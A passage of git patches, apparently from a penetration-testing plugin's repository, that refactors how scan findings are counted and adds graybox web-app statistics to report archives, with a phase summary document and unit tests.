key=job_id) status = None if isinstance(job_specs, dict): - status = job_specs.get("status") + status = job_specs.get("job_status") return {"job_id": job_id, "status": status, "workers": result} @BasePlugin.endpoint @@ -2114,6 +2117,8 @@ def list_network_jobs(self): "job_id": normalized_spec.get("job_id"), "job_status": normalized_spec.get("job_status"), "target": normalized_spec.get("target"), + "scan_type": normalized_spec.get("scan_type", "network"), + "target_url": normalized_spec.get("target_url", ""), "task_name": normalized_spec.get("task_name"), "risk_score": normalized_spec.get("risk_score", 0), "run_mode": normalized_spec.get("run_mode"), diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index caef49e6..659cd031 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -909,7 +909,8 @@ def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGL # Job config job_config = { "target": "example.com", "start_port": 1, "end_port": 1024, - "run_mode": run_mode, "enabled_features": [], + "run_mode": run_mode, "enabled_features": [], "scan_type": "webapp", + "target_url": "https://example.com/app", } # Latest aggregated data @@ -954,6 +955,8 @@ def verify_fail_get(cid): "launcher": "launcher-node", "launcher_alias": "launcher-alias", "target": "example.com", + "scan_type": "webapp", + "target_url": "https://example.com/app", "task_name": "Test", "start_port": 1, "end_port": 1024, @@ -1020,6 +1023,8 @@ def test_stub_has_job_cid_and_config_cid(self): stub = hset_call[1]["value"] self.assertEqual(stub["job_cid"], "QmArchiveCID") self.assertEqual(stub["job_config_cid"], "QmConfigCID") + self.assertEqual(stub["scan_type"], "webapp") + self.assertEqual(stub["target_url"], "https://example.com/app") def test_stub_fields_match_model(self): """Stub has exactly CStoreJobFinalized fields.""" @@ -1035,6 +1040,8 @@ def test_stub_fields_match_model(self): self.assertEqual(finalized.job_id, "test-job") self.assertEqual(finalized.job_status, "FINALIZED") self.assertEqual(finalized.target, "example.com") + self.assertEqual(finalized.scan_type, "webapp") + self.assertEqual(finalized.target_url, "https://example.com/app") self.assertEqual(finalized.pass_count, 1) self.assertEqual(finalized.worker_count, 1) self.assertEqual(finalized.start_port, 1) @@ -1175,6 +1182,8 @@ def _build_finalized_stub(self, job_id="test-job"): "job_id": job_id, "job_status": "FINALIZED", "target": "example.com", + "scan_type": "webapp", + "target_url": "https://example.com/app", "task_name": "Test", "risk_score": 42, "run_mode": "SINGLEPASS", @@ -1200,6 +1209,8 @@ def _build_running_job(self, job_id="run-job", pass_count=8): return { "job_id": job_id, "job_status": "RUNNING", + "scan_type": "webapp", + "target_url": "https://example.com/app", "job_pass": pass_count, "run_mode": "CONTINUOUS_MONITORING", "launcher": "launcher-node", @@ -1315,6 +1326,8 @@ def test_list_jobs_finalized_as_is(self): self.assertEqual(job["worker_count"], 2) self.assertEqual(job["risk_score"], 42) self.assertEqual(job["duration"], 200.0) + self.assertEqual(job["scan_type"], "webapp") + self.assertEqual(job["target_url"], "https://example.com/app") def test_list_jobs_running_stripped(self): """Running jobs have counts but no timeline, workers, or pass_reports.""" @@ -1328,11 +1341,24 @@ def test_list_jobs_running_stripped(self): # Should have counts self.assertEqual(job["pass_count"], 3) self.assertEqual(job["worker_count"], 2) + self.assertEqual(job["scan_type"], "webapp") + self.assertEqual(job["target_url"], "https://example.com/app") # Should NOT have heavy fields self.assertNotIn("timeline", job) self.assertNotIn("workers", job) self.assertNotIn("pass_reports", job) + def test_get_job_progress_returns_job_status(self): + """get_job_progress surfaces job_status from CStore job specs.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=2) + plugin = self._build_plugin({"run-job": running}) + plugin.chainstore_hgetall.return_value = {"run-job:worker-A": {"job_id": "run-job", "progress": 50}} + + result = Plugin.get_job_progress(plugin, job_id="run-job") + self.assertEqual(result["status"], "RUNNING") + self.assertIn("worker-A", result["workers"]) + def test_get_job_archive_not_found(self): """get_job_archive for non-existent job returns not_found.""" Plugin = self._get_plugin_class() @@ -1351,5 +1377,3 @@ def test_get_job_archive_r1fs_failure(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "fetch_failed") - - diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index a88cabd2..9729a383 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -64,9 +64,11 @@ def test_get_job_progress_filters_by_job(self): "job-B:worker-3": {"job_id": "job-B", "progress": 30}, } plugin.chainstore_hgetall.return_value = live_data + plugin.chainstore_hget.return_value = {"job_status": "RUNNING"} result = Plugin.get_job_progress(plugin, job_id="job-A") self.assertEqual(result["job_id"], "job-A") + self.assertEqual(result["status"], "RUNNING") self.assertEqual(len(result["workers"]), 2) self.assertIn("worker-1", result["workers"]) self.assertIn("worker-2", result["workers"]) @@ -78,9 +80,11 @@ def test_get_job_progress_empty(self): plugin = MagicMock() plugin.cfg_instance_id = "test-instance" plugin.chainstore_hgetall.return_value = {} + plugin.chainstore_hget.return_value = None result = Plugin.get_job_progress(plugin, job_id="nonexistent") self.assertEqual(result["job_id"], "nonexistent") + self.assertIsNone(result["status"]) self.assertEqual(result["workers"], {}) def test_publish_live_progress(self): @@ -470,6 +474,8 @@ def test_list_finalized_returns_stub_fields(self): "job_id": "job-1", "job_status": "FINALIZED", "target": "10.0.0.1", + "scan_type": "webapp", + "target_url": "https://example.com/app", "task_name": "scan-1", "risk_score": 75, "run_mode": "SINGLEPASS", @@ -497,6 +503,8 @@ def test_list_finalized_returns_stub_fields(self): self.assertEqual(entry["job_status"], "FINALIZED") self.assertEqual(entry["job_cid"], "QmArchive123") self.assertEqual(entry["job_config_cid"], "QmConfig456") + self.assertEqual(entry["scan_type"], "webapp") + self.assertEqual(entry["target_url"], "https://example.com/app") self.assertEqual(entry["target"], "10.0.0.1") self.assertEqual(entry["risk_score"], 75) self.assertEqual(entry["duration"], 120.5) @@ -513,6 +521,8 @@ def test_list_running_stripped(self): "job_id": "job-2", "job_status": "RUNNING", "target": "10.0.0.2", + "scan_type": "webapp", + "target_url": "https://example.com/live", "task_name": "scan-2", "risk_score": 0, "run_mode": "CONTINUOUS_MONITORING", @@ -548,6 +558,8 @@ def test_list_running_stripped(self): self.assertEqual(entry["job_id"], "job-2") self.assertEqual(entry["job_status"], "RUNNING") self.assertEqual(entry["target"], "10.0.0.2") + self.assertEqual(entry["scan_type"], "webapp") + self.assertEqual(entry["target_url"], "https://example.com/live") self.assertEqual(entry["task_name"], "scan-2") self.assertEqual(entry["run_mode"], "CONTINUOUS_MONITORING") self.assertEqual(entry["job_pass"], 3) @@ -973,4 +985,3 @@ def capture_add_json(data, show_logs=False): self.assertTrue(sm["blocking_detected"]) - From a6b1e68c3b2721ef6a35ac89bde59030aa482127 Mon Sep 17 00:00:00 2001 From: toderian Date: Wed, 11 Mar 2026 00:51:20 +0000 Subject: [PATCH 051/114] fix(redmesh)(phase 2): correct graybox evidence counting and aggregates --- .../docs/codex/2026-03-11-phase-2-summary.md | 158 +++++++++++ .../cybersec/red_mesh/mixins/live_progress.py | 9 + .../cybersec/red_mesh/mixins/report.py | 108 +++++++- .../cybersec/red_mesh/pentester_api_01.py | 22 +- .../cybersec/red_mesh/tests/test_api.py | 252 +++++++++++++++++- .../red_mesh/tests/test_normalization.py | 32 +++ 6 files changed, 555 insertions(+), 26 deletions(-) create mode 100644 extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md diff --git a/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md new file mode 100644 index 00000000..6c95fa64 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md @@ -0,0 +1,158 @@ +# RedMesh Phase 2 Summary + +Date: 2026-03-11 +Phase: 2 - Reporting and Evidence Correctness + +## Scope + +This phase fixed the evidence-counting and archive-summary gaps that remained after graybox integration. + +The focus was: +- correct finding counts in all backend consumers +- correct per-worker finding metadata in pass reports +- correct archive `UiAggregate` values for graybox scenario/discovery data +- consistent behavior across close, finalize, and archive-build paths + +## What Was Done + +### Shared counting logic + +Added shared report helpers in `mixins/report.py`: +- `_count_nested_findings(section)` +- `_count_all_findings(report)` +- `_extract_graybox_ui_stats(aggregated, latest_pass=None)` +- `_dedupe_items(items)` + +This removed duplicated counting logic and made graybox findings part of the same counting contract as: +- `service_info` +- `web_tests_info` +- `correlation_findings` +- `graybox_results` + +### Close/finalize path fixes + +Updated `pentester_api_01.py` to use `_count_all_findings()` in: +- `_close_job()` audit event generation +- `_maybe_finalize_pass()` worker metadata generation + +This means: +- `scan_completed` audit events now count graybox findings +- `WorkerReportMeta.nr_findings` now includes graybox findings + +### Archive aggregate fixes + +Updated `_compute_ui_aggregate()` in `mixins/report.py` to accept `job_config` and populate graybox fields when `scan_type == "webapp"`: +- `scan_type` +- `total_routes_discovered` +- `total_forms_discovered` +- `total_scenarios` +- `total_scenarios_vulnerable` + +Updated `_build_job_archive()` in `pentester_api_01.py` to pass `job_config` into `_compute_ui_aggregate()`. + +Graybox summary values are derived from: +- discovery data stored under `_graybox_discovery` +- `graybox_results` +- pass `scan_metrics` when available + +### Metrics aggregation improvement + +Updated `_merge_worker_metrics()` in `mixins/live_progress.py` so graybox scenario counters are summed across workers/nodes: +- `scenarios_total` +- `scenarios_vulnerable` +- `scenarios_clean` +- `scenarios_inconclusive` +- `scenarios_error` + +This keeps pass-level metrics more faithful for webapp scans. + +## Issues Addressed + +Resolved in this phase: +- `001-C1` `_close_job` audit finding count only walked `service_info` +- `001-H3` `_maybe_finalize_pass` worker metadata missed `graybox_results` +- `001-C2` `_compute_ui_aggregate` did not populate graybox fields +- `003-1` missing shared `_count_all_findings(report)` helper +- `003-2` pass metadata finding count drift +- `003-3` archived `UiAggregate` missing graybox scenario values + +## Acceptance Criteria Check + +### Audit events for webapp jobs include correct finding counts + +Met. + +Verified by: +- unit coverage for `_close_job()` audit count including graybox findings + +### `WorkerReportMeta.nr_findings` is correct for webapp and network jobs + +Met. + +Verified by: +- pass-finalization test covering service + web + correlation + graybox findings in one node report + +### Archived graybox jobs surface non-zero scenario statistics when appropriate + +Met. + +Verified by: +- archive build test asserting non-zero scenario/discovery values in `ui_aggregate` + +### `UiAggregate.scan_type` is set for archived webapp jobs + +Met. + +Verified by: +- archive build test asserting `scan_type == "webapp"` + +## Tests Added / Updated + +Updated: +- `tests/test_api.py` + - worker meta finding counts include graybox findings + - UI aggregate includes graybox route/form/scenario values + - archive UI aggregate includes graybox summary values + - `_close_job` audit count includes graybox findings +- `tests/test_normalization.py` + - `_count_all_findings()` walks all four finding sources + +Also validated against existing suites: +- `tests/test_integration.py` +- `tests/test_jobconfig_webapp.py` +- `tests/test_worker.py` + +## Verification Results + +Command: + +```bash +PYTHONPATH=/home/vitalii/remote-dev/repos/edge_node pytest /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_api.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_integration.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_normalization.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_jobconfig_webapp.py /home/vitalii/remote-dev/repos/edge_node/extensions/business/cybersec/red_mesh/tests/test_worker.py +``` + +Result: +- `146 passed` + +## Result + +After Phase 2: +- graybox findings are no longer undercounted in audit or pass metadata +- archive-level graybox summary values are precomputed correctly +- webapp evidence is represented more consistently across backend lifecycle stages +- the counting contract is centralized instead of duplicated in multiple paths + +## Remaining Gaps Before Phase 3 + +Not addressed in this phase: +- launch API remains overloaded and scan-type branching is still concentrated in `launch_test()` +- feature discovery/validation is still not scan-type-aware +- webapp launch semantics still need separation from network distribution semantics + +## Files Changed + +- `extensions/business/cybersec/red_mesh/mixins/report.py` +- `extensions/business/cybersec/red_mesh/mixins/live_progress.py` +- `extensions/business/cybersec/red_mesh/pentester_api_01.py` +- `extensions/business/cybersec/red_mesh/tests/test_api.py` +- `extensions/business/cybersec/red_mesh/tests/test_normalization.py` +- `extensions/business/cybersec/red_mesh/docs/codex/2026-03-11-phase-2-summary.md` diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index 55df16ad..f576a75d 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -87,6 +87,15 @@ def _merge_worker_metrics(metrics_list): # Sum probe counts for field in ("probes_attempted", "probes_completed", "probes_skipped", "probes_failed"): merged[field] = sum(m.get(field, 0) for m in metrics_list) + # Sum graybox scenario counters + for field in ( + "scenarios_total", + "scenarios_vulnerable", + "scenarios_clean", + "scenarios_inconclusive", + "scenarios_error", + ): + merged[field] = sum(m.get(field, 0) for m in metrics_list) # Merge probe breakdown (union of all probes) probe_bd = {} for m in metrics_list: diff --git a/extensions/business/cybersec/red_mesh/mixins/report.py b/extensions/business/cybersec/red_mesh/mixins/report.py index 205158c6..6f19b39b 100644 --- a/extensions/business/cybersec/red_mesh/mixins/report.py +++ b/extensions/business/cybersec/red_mesh/mixins/report.py @@ -15,6 +15,98 @@ class _ReportMixin: SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} + @staticmethod + def _count_nested_findings(section): + """Count findings in a nested {port: {probe: {findings: []}}} section.""" + total = 0 + for per_port in (section or {}).values(): + if not isinstance(per_port, dict): + continue + for per_probe in per_port.values(): + if isinstance(per_probe, dict): + total += len(per_probe.get("findings", [])) + return total + + def _count_all_findings(self, report): + """Count all findings emitted by network and graybox reporting sections.""" + if not isinstance(report, dict): + return 0 + return ( + self._count_nested_findings(report.get("service_info")) + + self._count_nested_findings(report.get("web_tests_info")) + + len(report.get("correlation_findings") or []) + + self._count_nested_findings(report.get("graybox_results")) + ) + + @staticmethod + def _dedupe_items(items): + """Deduplicate mixed scalar/dict items while preserving first-seen order.""" + import json as _json + + deduped = [] + seen = set() + for item in items: + try: + key = _json.dumps(item, sort_keys=True, default=str) + except (TypeError, ValueError): + key = str(item) + if key in seen: + continue + seen.add(key) + deduped.append(item) + return deduped + + def _extract_graybox_ui_stats(self, aggregated, latest_pass=None): + """Extract graybox-specific archive summary values from aggregated data.""" + latest_pass = latest_pass or {} + scan_metrics = latest_pass.get("scan_metrics") or {} + + service_info = aggregated.get("service_info") or {} + graybox_results = aggregated.get("graybox_results") or {} + + routes = [] + forms = [] + for methods in service_info.values(): + if not isinstance(methods, dict): + continue + discovery = methods.get("_graybox_discovery") + if not isinstance(discovery, dict): + continue + routes.extend(discovery.get("routes") or []) + forms.extend(discovery.get("forms") or []) + + scenario_total = 0 + scenario_vulnerable = 0 + for probes in graybox_results.values(): + if not isinstance(probes, dict): + continue + for probe_data in probes.values(): + if not isinstance(probe_data, dict): + continue + for finding in probe_data.get("findings", []): + if not isinstance(finding, dict): + continue + status = finding.get("status") + if not status: + continue + scenario_total += 1 + if status == "vulnerable": + scenario_vulnerable += 1 + + if scan_metrics: + scenario_total = max(scenario_total, scan_metrics.get("scenarios_total", 0) or 0) + scenario_vulnerable = max( + scenario_vulnerable, + scan_metrics.get("scenarios_vulnerable", 0) or 0, + ) + + return { + "total_routes_discovered": len(self._dedupe_items(routes)), + "total_forms_discovered": len(self._dedupe_items(forms)), + "total_scenarios": scenario_total, + "total_scenarios_vulnerable": scenario_vulnerable, + } + def _get_aggregated_report(self, local_jobs, worker_cls=None): """ Aggregate results from multiple local workers. @@ -219,7 +311,7 @@ def _redact_job_config(config_dict): redacted["weak_candidates"] = ["***"] * len(redacted["weak_candidates"]) return redacted - def _compute_ui_aggregate(self, passes, latest_aggregated): + def _compute_ui_aggregate(self, passes, latest_aggregated, job_config=None): """Compute pre-aggregated view for frontend from pass reports. Parameters @@ -238,6 +330,15 @@ def _compute_ui_aggregate(self, passes, latest_aggregated): latest = passes[-1] agg = latest_aggregated findings = latest.get("findings", []) or [] + scan_type = (job_config or {}).get("scan_type", "network") + graybox_stats = { + "total_routes_discovered": 0, + "total_forms_discovered": 0, + "total_scenarios": 0, + "total_scenarios_vulnerable": 0, + } + if scan_type == "webapp": + graybox_stats = self._extract_graybox_ui_stats(agg, latest) # Severity breakdown findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) @@ -283,4 +384,9 @@ def _compute_ui_aggregate(self, passes, latest_aggregated): } for addr, w in (latest.get("worker_reports") or {}).items() ] or None, + scan_type=scan_type, + total_routes_discovered=graybox_stats["total_routes_discovered"], + total_forms_discovered=graybox_stats["total_forms_discovered"], + total_scenarios=graybox_stats["total_scenarios"], + total_scenarios_vulnerable=graybox_stats["total_scenarios_vulnerable"], ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 8855934d..fd104316 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -910,12 +910,7 @@ def _close_job(self, job_id, canceled=False): self.chainstore_hset(hkey=self.cfg_instance_id, key=job_id, value=job_specs) # Audit: scan completed - nr_findings = 0 - for port_data in report.get("service_info", {}).values(): - if isinstance(port_data, dict): - for method_data in port_data.values(): - if isinstance(method_data, dict): - nr_findings += len(method_data.get("findings", [])) + nr_findings = self._count_all_findings(report) self._log_audit_event("scan_completed", { "job_id": job_id, "target": job_specs.get("target"), @@ -1056,7 +1051,7 @@ def _build_job_archive(self, job_key, job_specs): return # 4. Compute UI aggregate from passes + latest aggregated data - ui_aggregate = self._compute_ui_aggregate(passes, latest_aggregated) + ui_aggregate = self._compute_ui_aggregate(passes, latest_aggregated, job_config=job_config) # 5. Compose archive date_completed = self.time() @@ -1223,18 +1218,7 @@ def _maybe_finalize_pass(self): # 5. BUILD WORKER METADATA from already-fetched node_reports worker_metas = {} for addr, report in node_reports.items(): - nr_findings = 0 - for probes in (report.get("service_info") or {}).values(): - if isinstance(probes, dict): - for probe_data in probes.values(): - if isinstance(probe_data, dict): - nr_findings += len(probe_data.get("findings", [])) - for tests in (report.get("web_tests_info") or {}).values(): - if isinstance(tests, dict): - for test_data in tests.values(): - if isinstance(test_data, dict): - nr_findings += len(test_data.get("findings", [])) - nr_findings += len(report.get("correlation_findings") or []) + nr_findings = self._count_all_findings(report) worker_metas[addr] = WorkerReportMeta( report_cid=workers[addr].get("report_cid", ""), diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 659cd031..61fe0950 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -289,9 +289,22 @@ def fake_add_json(data, show_logs=True): plugin.chainstore_hgetall.return_value = {job_id: job_specs} plugin.chainstore_hset = MagicMock() + Plugin = self._get_plugin_class() + plugin._count_nested_findings = lambda section: Plugin._count_nested_findings(section) + plugin._count_all_findings = lambda report: Plugin._count_all_findings(plugin, report) + return plugin, job_specs - def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): + def _sample_node_report( + self, + start_port=1, + end_port=512, + open_ports=None, + findings=None, + graybox_findings=None, + web_findings=None, + correlation_findings=None, + ): """Build a sample node report dict.""" report = { "start_port": start_port, @@ -304,7 +317,8 @@ def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findi "completed_tests": ["port_scan"], "port_protocols": {"80": "http", "443": "https"}, "port_banners": {}, - "correlation_findings": [], + "correlation_findings": correlation_findings or [], + "graybox_results": {}, } if findings: # Add findings under service_info for port 80 @@ -315,6 +329,22 @@ def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findi } } } + if web_findings: + report["web_tests_info"] = { + "80": { + "_web_test_xss": { + "findings": web_findings, + } + } + } + if graybox_findings: + report["graybox_results"] = { + "443": { + "_graybox_test": { + "findings": graybox_findings, + } + } + } return report def test_single_aggregation(self): @@ -377,6 +407,41 @@ def test_pass_report_cid_in_r1fs(self): self.assertIn("date_started", pass_report_dict) self.assertIn("date_completed", pass_report_dict) + def test_pass_report_worker_meta_counts_graybox_findings(self): + """WorkerReportMeta.nr_findings includes graybox findings.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report( + 1, + 512, + [443], + findings=[{"title": "svc"}], + web_findings=[{"title": "web"}], + graybox_findings=[ + {"scenario_id": "S1", "status": "vulnerable"}, + {"scenario_id": "S2", "status": "not_vulnerable"}, + ], + correlation_findings=[{"title": "corr"}], + ) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [443], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"443": "https"}, "graybox_results": report_a["graybox_results"], + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "scan_type": "webapp"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(pass_report_dict["worker_reports"]["worker-A"]["nr_findings"], 5) + def test_aggregated_report_separate_cid(self): """aggregated_report_cid is a separate R1FS write from the PassReport.""" PentesterApi01Plugin = self._get_plugin_class() @@ -700,7 +765,13 @@ def _make_plugin(self): plugin = MagicMock() Plugin = self._get_plugin_class() plugin._count_services = lambda si: Plugin._count_services(plugin, si) - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin._dedupe_items = lambda items: Plugin._dedupe_items(items) + plugin._extract_graybox_ui_stats = lambda aggregated, latest_pass=None: Plugin._extract_graybox_ui_stats( + plugin, aggregated, latest_pass + ) + plugin._compute_ui_aggregate = lambda passes, agg, job_config=None: Plugin._compute_ui_aggregate( + plugin, passes, agg, job_config=job_config + ) plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER return plugin, Plugin @@ -729,6 +800,35 @@ def _make_aggregated(self, open_ports=None, service_info=None): }, } + def _make_webapp_aggregated(self): + return { + "open_ports": [443], + "service_info": { + "443": { + "_graybox_discovery": { + "routes": ["/login", "/login", "/admin"], + "forms": [ + {"action": "/login", "method": "POST"}, + {"action": "/login", "method": "POST"}, + {"action": "/admin", "method": "POST"}, + ], + "findings": [], + }, + }, + }, + "graybox_results": { + "443": { + "_graybox_authz": { + "findings": [ + {"scenario_id": "S-1", "status": "vulnerable", "severity": "HIGH"}, + {"scenario_id": "S-2", "status": "not_vulnerable", "severity": "INFO"}, + {"scenario_id": "S-3", "status": "inconclusive", "severity": "INFO"}, + ], + }, + }, + }, + } + def test_findings_count_uppercase_keys(self): """findings_count keys are UPPERCASE.""" plugin, _ = self._make_plugin() @@ -853,6 +953,26 @@ def test_count_services(self): self.assertEqual(plugin._count_services({}), 0) self.assertEqual(plugin._count_services(None), 0) + def test_webapp_graybox_fields_populated(self): + """Webapp aggregates include scan_type, discovery counts, and scenario stats.""" + plugin, _ = self._make_plugin() + p = self._make_pass( + findings=[self._make_finding(severity="HIGH", finding_id="gb1")], + worker_reports={"w1": {"start_port": 443, "end_port": 443, "open_ports": [443]}}, + ) + p["scan_metrics"] = { + "scenarios_total": 3, + "scenarios_vulnerable": 1, + } + agg = self._make_webapp_aggregated() + + result = plugin._compute_ui_aggregate([p], agg, job_config={"scan_type": "webapp"}).to_dict() + self.assertEqual(result["scan_type"], "webapp") + self.assertEqual(result["total_routes_discovered"], 2) + self.assertEqual(result["total_forms_discovered"], 2) + self.assertEqual(result["total_scenarios"], 3) + self.assertEqual(result["total_scenarios_vulnerable"], 1) + class TestPhase3Archive(unittest.TestCase): @@ -901,6 +1021,10 @@ def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGL {"finding_id": f"f{i}a", "severity": "HIGH", "confidence": "firm", "title": f"Finding {i}A"}, {"finding_id": f"f{i}b", "severity": "MEDIUM", "confidence": "firm", "title": f"Finding {i}B"}, ], + "scan_metrics": { + "scenarios_total": 2, + "scenarios_vulnerable": 1, + }, "quick_summary": f"Summary for pass {i}", } pass_reports_data.append(pr) @@ -915,8 +1039,33 @@ def _build_archive_plugin(self, job_id="test-job", pass_count=1, run_mode="SINGL # Latest aggregated data latest_aggregated = { - "open_ports": [80, 443], "service_info": {"80": {"_service_info_http": {}}}, - "web_tests_info": {}, "completed_tests": ["port_scan"], "ports_scanned": 1024, + "open_ports": [80, 443], + "service_info": { + "80": {"_service_info_http": {}}, + "443": { + "_graybox_discovery": { + "routes": ["/login", "/admin", "/login"], + "forms": [ + {"action": "/login", "method": "POST"}, + {"action": "/admin", "method": "POST"}, + {"action": "/admin", "method": "POST"}, + ], + }, + }, + }, + "web_tests_info": {}, + "graybox_results": { + "443": { + "_graybox_test": { + "findings": [ + {"scenario_id": "S1", "status": "vulnerable"}, + {"scenario_id": "S2", "status": "not_vulnerable"}, + ], + }, + }, + }, + "completed_tests": ["port_scan"], + "ports_scanned": 1024, } # R1FS get_json: return the right data for each CID @@ -976,8 +1125,14 @@ def verify_fail_get(cid): # Bind real methods for archive building Plugin = self._get_plugin_class() - plugin._compute_ui_aggregate = lambda passes, agg: Plugin._compute_ui_aggregate(plugin, passes, agg) + plugin._compute_ui_aggregate = lambda passes, agg, job_config=None: Plugin._compute_ui_aggregate( + plugin, passes, agg, job_config=job_config + ) plugin._count_services = lambda si: Plugin._count_services(plugin, si) + plugin._dedupe_items = lambda items: Plugin._dedupe_items(items) + plugin._extract_graybox_ui_stats = lambda aggregated, latest_pass=None: Plugin._extract_graybox_ui_stats( + plugin, aggregated, latest_pass + ) plugin.SEVERITY_ORDER = Plugin.SEVERITY_ORDER plugin.CONFIDENCE_ORDER = Plugin.CONFIDENCE_ORDER @@ -999,6 +1154,21 @@ def test_archive_written_to_r1fs(self): self.assertIn("ui_aggregate", archive_dict) self.assertIn("total_open_ports", archive_dict["ui_aggregate"]) + def test_archive_ui_aggregate_includes_graybox_summary(self): + """Archive UI aggregate preserves graybox scan metadata and scenario counts.""" + Plugin = self._get_plugin_class() + plugin, job_specs, _, _ = self._build_archive_plugin() + + Plugin._build_job_archive(plugin, "test-job", job_specs) + + archive_dict = plugin.r1fs.add_json.call_args[0][0] + ui = archive_dict["ui_aggregate"] + self.assertEqual(ui["scan_type"], "webapp") + self.assertEqual(ui["total_routes_discovered"], 2) + self.assertEqual(ui["total_forms_discovered"], 2) + self.assertEqual(ui["total_scenarios"], 2) + self.assertEqual(ui["total_scenarios_vulnerable"], 1) + def test_archive_duration_computed(self): """duration == date_completed - date_created, not 0.""" Plugin = self._get_plugin_class() @@ -1377,3 +1547,73 @@ def test_get_job_archive_r1fs_failure(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "fetch_failed") + +class TestPhase2AuditCounting(unittest.TestCase): + """Phase 2: audit counts include graybox findings.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_close_job_audit_counts_graybox_findings(self): + """_close_job audit nr_findings includes graybox results.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.ee_addr = "node-A" + plugin.cfg_instance_id = "test-instance" + plugin.global_shmem = {} + plugin.log.get_localhost_ip.return_value = "127.0.0.1" + plugin.P = MagicMock() + plugin.json_dumps.return_value = "{}" + plugin.r1fs.add_json.return_value = "QmWorkerReport" + plugin._get_job_config = MagicMock(return_value={"redact_credentials": False}) + plugin._redact_report = MagicMock(side_effect=lambda r: r) + plugin._normalize_job_record = MagicMock(side_effect=lambda job_id, raw: (job_id, raw)) + plugin._log_audit_event = MagicMock() + plugin._count_nested_findings = lambda section: Plugin._count_nested_findings(section) + plugin._count_all_findings = lambda report: Plugin._count_all_findings(plugin, report) + + report = { + "start_port": 443, + "end_port": 443, + "ports_scanned": 1, + "open_ports": [443], + "service_info": { + "443": {"_service_info_https": {"findings": [{"title": "svc"}]}}, + }, + "web_tests_info": { + "443": {"_web_test_xss": {"findings": [{"title": "web"}]}}, + }, + "correlation_findings": [{"title": "corr"}], + "graybox_results": { + "443": {"_graybox_test": {"findings": [{"scenario_id": "S1"}, {"scenario_id": "S2"}]}}, + }, + } + + worker = MagicMock() + worker.get_status.return_value = report + plugin.scan_jobs = {"job-1": {"local-1": worker}} + plugin._get_aggregated_report = MagicMock(return_value=report) + + job_specs = { + "job_id": "job-1", + "target": "example.com", + "workers": {"node-A": {"start_port": 443, "end_port": 443}}, + "job_config_cid": "QmConfig", + } + plugin.chainstore_hget.return_value = job_specs + plugin.chainstore_hset = MagicMock() + + Plugin._close_job(plugin, "job-1") + + plugin._log_audit_event.assert_called_once() + event_type, details = plugin._log_audit_event.call_args[0] + self.assertEqual(event_type, "scan_completed") + 